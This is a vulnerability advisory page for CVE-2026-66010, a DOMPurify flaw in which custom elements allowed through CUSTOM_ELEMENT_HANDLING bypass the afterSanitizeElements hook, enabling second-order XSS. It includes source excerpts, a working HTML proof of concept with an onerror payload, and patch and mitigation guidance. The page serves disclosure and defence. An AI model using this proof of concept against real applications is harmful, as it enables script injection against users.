Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-66010 — dompurify

Fix: cure53/DOMPurify#1537

CVE-2026-66010 is a Cross-site Scripting (XSS) vulnerability in dompurify. A fix is available for dompurify — see the affected versions and patch details below.

DOMPurify before 3.4.12 Hook Bypass via CUSTOM_ELEMENT_HANDLING

Also known asGHSA-c2j3-45gr-mqc4
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-66010.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk+0.09%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk
0.00%0.27%0.54%0.80%0.2%0.3%Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

5Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
dompurifynpm
71.8Mdownloads / week

Description

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.

When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748

const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.

During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }

If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:

  • the namespace validation at src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }
  • the fallback-tag mXSS check at src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }
  • most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.
   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps

  1. Save the following HTML to a file, for example poc.html.
  2. Open it in a browser.
  3. Observe that the div control loses data-bio, while the allowed custom element keeps it.
  4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.

HTML PoC

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>

Expected result

control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true

This is output of HTML PoC.

<img width="1917" height="961" alt="poc" src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10" />

Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

  • enable CUSTOM_ELEMENT_HANDLING,
  • rely on afterSanitizeElements as a security policy layer,
  • expect that hook to apply uniformly to all surviving elements,
  • and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

  • ensuring that allowed custom elements also consistently pass through afterSanitizeElements
  • documenting clearly that elements preserved via CUSTOM_ELEMENT_HANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmdompurifyall versions3.4.12npm install dompurify@3.4.12

Affected Products

1 product · 1 configurations
Application
dompurifycure53
< 3.4.12
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompurify, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update dompurify to 3.4.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-66010 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This Moderate-impact flaw in DOMPurify allows for Cross-Site Scripting (XSS) attacks by enabling the bypass of sanitization policies for custom elements. An attacker could exploit this by crafting malicious content that, when processed by affected Red Hat products utilizing DOMPurify in their web interfaces, could…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-66010 (CC BY 4.0)

Frequently Asked Questions

## Summary There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`. When a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements. This does not appear to be a direct DOMPurify XSS or a case
O3 Security · Impact-Aware SCA

Is CVE-2026-66010 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-66010: dompurify XSS — Fixed in 3.4.12